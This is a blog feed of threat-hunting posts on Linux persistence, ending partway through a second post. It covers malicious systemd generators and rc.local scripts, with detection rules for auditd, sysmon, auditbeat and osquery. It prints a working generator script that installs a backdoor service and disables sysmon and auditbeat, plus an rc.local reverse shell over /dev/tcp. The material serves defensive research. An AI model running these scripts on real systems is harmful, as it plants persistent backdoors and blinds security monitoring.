Jekyll2022-03-03T19:03:24+00:00https://pberba.github.io/feed.xmlpepe berbastats, security, and crypto
Pepe BerbaHunting for Persistence in Linux (Part 5): Systemd Generators2022-02-07T00:00:00+00:002022-02-07T00:00:00+00:00https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators<h3 id="introduction">Introduction</h3>
<p>In this blogpost, we’re discussing a specific persistence technique that I haven’t read anywhere else. Because of this, it seemed appropriate for it to have its own post.</p>
<p>The topics discussed here are the following:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: systemd-generators</a></li>
</ul>
<p>We will give some example commands on how to implement these persistence techniques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.</p>
<p><img src="/assets/posts/20220207/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>
<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>
<p>Linux Persistence Series:</p>
<ul>
<li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
<ul>
<li>1 - Server Software Component: Web Shell</li>
</ul>
</li>
<li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
<ul>
<li>2 - Create Account: Local Account</li>
<li>3 - Valid Accounts: Local Accounts</li>
<li>4 - Account Manipulation: SSH Authorized Keys</li>
</ul>
</li>
<li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
<ul>
<li>5 - Create or Modify System Process: Systemd Service</li>
<li>6 - Scheduled Task/Job: Systemd Timers</li>
<li>7 - Scheduled Task/Job: Cron</li>
</ul>
</li>
<li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
<ul>
<li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
<li>9 - Boot or Logon Initialization Scripts: init.d</li>
<li>10 - Boot or Logon Initialization Scripts: motd</li>
<li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
</ul>
</li>
<li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
<ul>
<li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
</ul>
</li>
<li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
<ul>
<li>Modify Authentication Process: Pluggable Authentication Modules</li>
<li>Compromise Client Software Binary</li>
<li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
<li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
</ul>
</li>
</ul>
<h3 id="12-boot-or-logon-initialization-scripts-systemd-generators">12 Boot or Logon Initialization Scripts: systemd-generators</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/">https://attack.mitre.org/techniques/T1037/</a></p>
<p>There is no dedicated sub technique for this in MITRE ATT&CK matrix. This is just something I stumbled upon while going through the <code class="language-plaintext highlighter-rouge">systemd</code> documentation and when researching about <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts in the previous blogpost.</p>
<h4 id="121-what-are-systemd-generators">12.1 What are systemd-generators?</h4>
<p>Looking at the debian man pages for <a href="https://manpages.debian.org/testing/systemd/systemd.generator.7.en.html">systemd.generator</a>.</p>
<blockquote>
<p>Generators are small executables placed in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/</code> and other directories listed [below]. <code class="language-plaintext highlighter-rouge">systemd(1)</code> will execute these binaries very early at bootup and at configuration reload time — before unit files are loaded.</p>
</blockquote>
<p>The directories can be found in the man page but here are some persistent ones:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/systemd/system-generators/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/system-generators/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/*</code></li>
<li><code class="language-plaintext highlighter-rouge">/usr/lib/systemd/user-generators/*</code></li>
</ul>
<p>One use case for this is backwards compatibility. For example, <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> and <code class="language-plaintext highlighter-rouge">systemd-sysv-generator</code> are both used to process <code class="language-plaintext highlighter-rouge">rc.local</code> and <code class="language-plaintext highlighter-rouge">init.d</code> scripts respectively. These executables convert the traditional startup scripts into <code class="language-plaintext highlighter-rouge">systemd</code> services by parsing them and creating wrapper <code class="language-plaintext highlighter-rouge">service</code> unit files on boot. It is a preprocessing step for <code class="language-plaintext highlighter-rouge">systemd</code> before it runs any services.</p>
<p>Other modules can also drop their own executable in one the listed locations and this will also be executed on boot or anytime the systemd configuration is reloaded. For example, installing <code class="language-plaintext highlighter-rouge">openvpn</code> results in a <code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system-generators/openvpn-generator</code></p>
<p>This is an interesting place to add a backdoor because systemd generators are executed very early in the boot process. In fact, this is the earliest place I’ve found to get an executable to run without going to the kernel or installing a rootkit. The generator executables are run before any service is started! So when defenders use loggers and sensors services such as <code class="language-plaintext highlighter-rouge">syslog</code>, <code class="language-plaintext highlighter-rouge">auditd</code>, <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditbeat</code> to monitor a machine, they won’t be running to catch actions done by the generators. Moreover, a malicious generator might be able to tamper with the service unit files before they can run.</p>
<p>But there are constraints on this. The man page gives this note:</p>
<blockquote>
<p>Generators are run very early at boot and cannot rely on any external services. They may not talk to any other process. That includes simple things such as logging to <code class="language-plaintext highlighter-rouge">syslog(3)</code>, or <code class="language-plaintext highlighter-rouge">systemd</code> itself (this means: no systemctl(1))! Non-essential file systems like /var/ and /home/ are mounted after generators have run. Generators can however rely on the most basic kernel functionality to be available, as well as mounted <code class="language-plaintext highlighter-rouge">/sys/</code>, <code class="language-plaintext highlighter-rouge">/proc/</code>, <code class="language-plaintext highlighter-rouge">/dev/</code>, <code class="language-plaintext highlighter-rouge">/usr/</code> and <code class="language-plaintext highlighter-rouge">/run/</code> file systems.</p>
</blockquote>
<h4 id="122-creating-a-malicious-generator">12.2 Creating a malicious generator</h4>
<p>Our objective:</p>
<ul>
<li>Create a malicious service that will run</li>
<li>Disable <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code></li>
</ul>
<p>We assume that some script <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> already exists. You can replace <code class="language-plaintext highlighter-rouge">ExecStart</code> with a different path or even add the reverse shell directly.</p>
<p>We drop a simple executable script in <code class="language-plaintext highlighter-rouge">/lib/systemd/system-generators/systemd-network-generator</code> . When it runs, it will:</p>
<ul>
<li>Create a <code class="language-plaintext highlighter-rouge">/run/systemd/system/networking.service</code> unit file</li>
<li>Create a symlink to <code class="language-plaintext highlighter-rouge">/run/systemd/system/multi-user.target.wants/networking.service</code> to enable the service</li>
<li>Create a <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> that will overwrite the configuration of the original services.</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">></span> /usr/lib/systemd/system-generators/systemd-network-generator <span class="o"><<</span> <span class="no">EOF</span><span class="sh">
#! /bin/bash
# Create networking.service and enabling it to run later in the boot process
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/system/networking.service
mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service
# Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service
mkdir -p /run/systemd/generator.early
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/sysmon.service
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/auditbeat.service
</span><span class="no">EOF
</span><span class="nb">chmod</span> +x /lib/systemd/system-generators/systemd-network-generator
</code></pre></div></div>
<p>You might wonder: <em>“Why do we need to make a service unit file? Why don’t we run the <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> in the background directly?”</em></p>
<p>Well, this is the recommended way that systemd generators operate. For example, network functionality might not be ready when the generators are executed. So it is simpler to generate service file instead and set <code class="language-plaintext highlighter-rouge">network.target</code> as a dependency. However, it is possible to create a long running background process on boot; it either waits or retries until the necessary OS functionality becomes available.</p>
<p>The generated service file is very simple. If you want more info about this read the <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#52-installing-a-malicious-service">previous blogpost - 5.2.2 Minimal service file
</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=networking.service
[Service]
ExecStart=/opt/beacon.sh
[Install]
WantedBy=multi-user.target
</code></pre></div></div>
<p>On the next reboot a <code class="language-plaintext highlighter-rouge">networking.service</code> service would be running</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status networking
● networking.service
Loaded: loaded <span class="o">(</span>/run/systemd/system/networking.service<span class="p">;</span> enabled<span class="p">;</span> vendor preset: enabled<span class="o">)</span>
Active: active <span class="o">(</span>running<span class="o">)</span> since Wed 2022-02-02 06:42:47 UTC<span class="p">;</span> 19s ago
Main PID: 374 <span class="o">(</span>beacon.sh<span class="o">)</span>
Tasks: 2 <span class="o">(</span>limit: 4651<span class="o">)</span>
Memory: 15.7M
CGroup: /system.slice/networking.service
├─374 /bin/bash /opt/beacon.sh
└─377 bash <span class="nt">-l</span>
</code></pre></div></div>
<p>Of course you can modify the value of <code class="language-plaintext highlighter-rouge">ExecStart</code> or the contents of <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> to whatever script you want.</p>
<p>Also because we have written new <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> in <code class="language-plaintext highlighter-rouge">/run/systemd/generator.early/</code> and this takes precedence over <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and <code class="language-plaintext highlighter-rouge">/lib/systemd/system</code> (See order in <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code>). The <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> did not run the correct daemons.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status auditbeat
● auditbeat.service - <span class="s2">"Skipped"</span>
Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/auditbeat.service<span class="p">;</span> generated<span class="o">)</span>
Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 15s ago
Process: 377 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
Main PID: 377 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>377]: Skipped
Feb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.
<span class="nv">$ </span>systemctl status sysmon
● sysmon.service - <span class="s2">"Skipped"</span>
Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/sysmon.service<span class="p">;</span> generated<span class="o">)</span>
Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 26s ago
Process: 380 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
Main PID: 380 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>380]: Skipped
Feb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.
</code></pre></div></div>
<p>The dummy service files we added just <code class="language-plaintext highlighter-rouge">echo "Skipped"</code> instead running the <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> daemon.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description="Skipped"
[Service]
ExecStart=echo "Skipped"
[Install]
WantedBy=multi-user.target
</code></pre></div></div>
<h4 id="123-detecting-the-creation-of-systemd-generators">12.3 Detecting the creation of systemd generators</h4>
<p>It is hard to monitor the execution of the systemd generators because they run on boot even before <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditd</code> is running. Therefore our main way to combat this is to look for the creation and modification of systemd generators.</p>
<h4 id="1231-auditd">12.3.1 auditd</h4>
<p>This is <strong>not part of our reference</strong> Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of <code class="language-plaintext highlighter-rouge">rc.local</code> using the following auditd rule.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-w</span> /etc/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/system-generators <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /etc/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
</code></pre></div></div>
<h4 id="1232-sysmon">12.3.2 sysmon</h4>
<p>Similarly, we don’t have a rule in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/main.xml">microsoft/MSTIC-Sysmon</a> for sysmon.</p>
<p>But we can create a rule to detect creation of files under the system or user systemd generators.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">></span>
<span class="nt"><Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: systemd-generators"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/systemd/system-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/usr/local/lib/systemd/system-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/lib/systemd/system-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/usr/lib/systemd/system-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/etc/systemd/user-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/usr/local/lib/systemd/user-generators/<span class="nt"></TargetFilename></span>
<span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">></span>/usr/lib/systemd/user-generators/<span class="nt"></TargetFilename></span>
<span class="nt"></Rule></span>
<span class="nt"></FileCreate></span>
</code></pre></div></div>
<p>The command above will result in the following log</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>11<span class="nt"></EventID></span>
<span class="nt"><Version></span>2<span class="nt"></Version></span>
<span class="nt"><Level></span>4<span class="nt"></Level></span>
<span class="nt"><Task></span>11<span class="nt"></Task></span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span>
<span class="nt"><TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-06T13:10:59.597085000Z"</span><span class="nt">/></span>
<span class="nt"><EventRecordID></span>3056<span class="nt"></EventRecordID></span>
<span class="nt"><Correlation/></span>
<span class="nt"><Execution</span> <span class="na">ProcessID=</span><span class="s">"5963"</span> <span class="na">ThreadID=</span><span class="s">"5963"</span><span class="nt">/></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>persistence-blog<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1037,TechniqueName=Boot or Logon Initializa<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2022-02-06 13:10:59.595<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{8491267f-c8e3-61ff-89a1-493c44560000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>6897<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/bash<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">></span>+/usr/lib/systemd/system-generators/systemd-network-generator<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">></span>2022-02-06 13:10:59.595<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">></span>root<span class="nt"></Data></span>
<span class="nt"></EventData></span>
<span class="nt"></Event></span>
</code></pre></div></div>
<p>One thing I am not sure, is why the target filename has a <code class="language-plaintext highlighter-rouge">+</code> at the start.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">></span>/usr/lib/systemd/system-generators/<span class="nt"></TargetFilename></span>
</code></pre></div></div>
<p>This makes rules such as those above fail, and why I ended up using <code class="language-plaintext highlighter-rouge">condition="contains"</code>.</p>
<p>At first, I thought this was because in debian <code class="language-plaintext highlighter-rouge">lib</code> is a symlink to <code class="language-plaintext highlighter-rouge">/usr/lib</code> but I’ve tried it creating my own symlink and this behaviour was not replicated. I don’t know why this happens.</p>
<h4 id="1233-auditbeats">12.3.3 auditbeats</h4>
<p>By default, auditbeat will be able to monitor any of the directories above. You should try to include each one.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="s">...</span>
<span class="s">- /etc/systemd/system-generators/</span>
<span class="s">- /usr/local/lib/systemd/system-generators/</span>
<span class="s">- /lib/systemd/system-generators/</span>
<span class="s">- /etc/systemd/user-generators/</span>
<span class="s">- /usr/local/lib/systemd/user-generators/</span>
<span class="s">- /usr/lib/systemd/user-generators/</span>
<span class="c1"># recursive: true</span>
</code></pre></div></div>
<p>Note that some of them might not exist by default like <code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/</code>, <code class="language-plaintext highlighter-rouge">/local/lib/systemd/system-generators/</code>, or <code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/</code>.</p>
<h4 id="1234-osquery">12.3.4 osquery</h4>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">file</span>
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">file</span><span class="p">.</span><span class="n">directory</span> <span class="k">IN</span> <span class="p">(</span>
<span class="s1">'/etc/systemd/system-generators/'</span><span class="p">,</span>
<span class="s1">'/usr/local/lib/systemd/system-generators/'</span><span class="p">,</span>
<span class="s1">'/lib/systemd/system-generators/'</span><span class="p">,</span>
<span class="s1">'/etc/systemd/user-generators/'</span><span class="p">,</span>
<span class="s1">'/usr/local/lib/systemd/user-generators/'</span><span class="p">,</span>
<span class="s1">'/usr/lib/systemd/user-generators/'</span>
<span class="p">)</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="/assets/posts/20220207/12-osquery-generators.png" alt="" /></p>
<h3 id="whats-next">What’s next</h3>
<p>In the next blog post, I’ll try to wrap it up with some miscellaneous persistence techniques.</p>
<hr />
<p><a href="https://www.pexels.com/photo/factory-smoke-1570099/">Photo by Vitaly Vlasov from Pexels</a></p>Pepe BerbaIntroductionHunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration2022-02-06T00:00:00+00:002022-02-06T00:00:00+00:00https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration<h3 id="introduction">Introduction</h3>
<p>In this blogpost, we’ll be discussing some scripts that attackers can install or modify that will execute on boot or logon. This is special files outside systemd services and timers.</p>
<p>The topics discussed here are the following:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1037/004/">Boot or Logon Initialization Scripts: RC Scripts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: init.d</a></li>
<li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: motd</a></li>
<li><a href="https://attack.mitre.org/techniques/T1546/004/">Event Triggered Execution: Unix Shell Configuration Modification</a></li>
</ul>
<p>We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.</p>
<p><img src="/assets/posts/20220206/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>
<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>
<p>Linux Persistence Series:</p>
<ul>
<li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
<ul>
<li>1 - Server Software Component: Web Shell</li>
</ul>
</li>
<li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
<ul>
<li>2 - Create Account: Local Account</li>
<li>3 - Valid Accounts: Local Accounts</li>
<li>4 - Account Manipulation: SSH Authorized Keys</li>
</ul>
</li>
<li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
<ul>
<li>5 - Create or Modify System Process: Systemd Service</li>
<li>6 - Scheduled Task/Job: Systemd Timers</li>
<li>7 - Scheduled Task/Job: Cron</li>
</ul>
</li>
<li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
<ul>
<li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
<li>9 - Boot or Logon Initialization Scripts: init.d</li>
<li>10 - Boot or Logon Initialization Scripts: motd</li>
<li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
</ul>
</li>
<li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
<ul>
<li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
</ul>
</li>
<li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
<ul>
<li>Modify Authentication Process: Pluggable Authentication Modules</li>
<li>Compromise Client Software Binary</li>
<li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
<li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
</ul>
</li>
</ul>
<h3 id="8-boot-or-logon-initialization-scripts-rc-scripts">8 Boot or Logon Initialization Scripts: RC Scripts</h3>
<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/004/">https://attack.mitre.org/techniques/T1037/004/</a></p>
<h4 id="81-isnt-rclocal-deprecated">8.1 Isn’t rc.local deprecated?</h4>
<p>You might have noticed that newer version of linux distributions no longer have <code class="language-plaintext highlighter-rouge">/etc/rc.local</code>. This is because they have migrated to using <code class="language-plaintext highlighter-rouge">systemd</code> for init scripts.</p>
<p>However, there exists compatibility exes in <code class="language-plaintext highlighter-rouge">systemd</code> called <code class="language-plaintext highlighter-rouge">systemd-generator</code>. For example we have the <a href="https://www.freedesktop.org/software/systemd/man/systemd-rc-local-generator.html">systemd-rc-local-generator</a>. The exectuable for this can be found in <code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system-generators/systemd-rc-local-generator</code> (<a href="https://github.com/systemd/systemd/blob/main/src/rc-local-generator/rc-local-generator.c">source code</a>)</p>
<blockquote>
<p><code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> is a generator that checks whether <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> exists and is executable, and if it is, pulls the <code class="language-plaintext highlighter-rouge">rc-local.service</code> unit into the boot process.</p>
</blockquote>
<p>As long as <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> is included in the current version of <code class="language-plaintext highlighter-rouge">systemd</code>, then <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> will run on boot.</p>
<h4 id="82-creating-rclocal">8.2 Creating rc.local</h4>
<p>This is pretty straightforward, just create an executable script</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat > /etc/rc.local << EOF
#! /bin/bash
echo "Success! \$(date)" >> /tmp/rc.local.out
bash -i >& /dev/tcp/127.0.0.1/7777 0>&1
EOF
chmod +x /etc/rc.local
</code></pre></div></div>
<p>On the next boot, the generator will create a symlink of <code class="language-plaintext highlighter-rouge">rc-local.service</code> in a <code class="language-plaintext highlighter-rouge">multi-user.target.wants</code> to enable and so that <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> will execute.</p>
<p>You can see the location of the unit file by running <code class="language-plaintext highlighter-rouge">systemctl status rc-local</code> and the unit file is <code class="language-plaintext highlighter-rouge">lib/systemd/system/rc-local.service</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=/etc/rc.local Compatibility
Documentation=man:systemd-rc-local-generator(8)
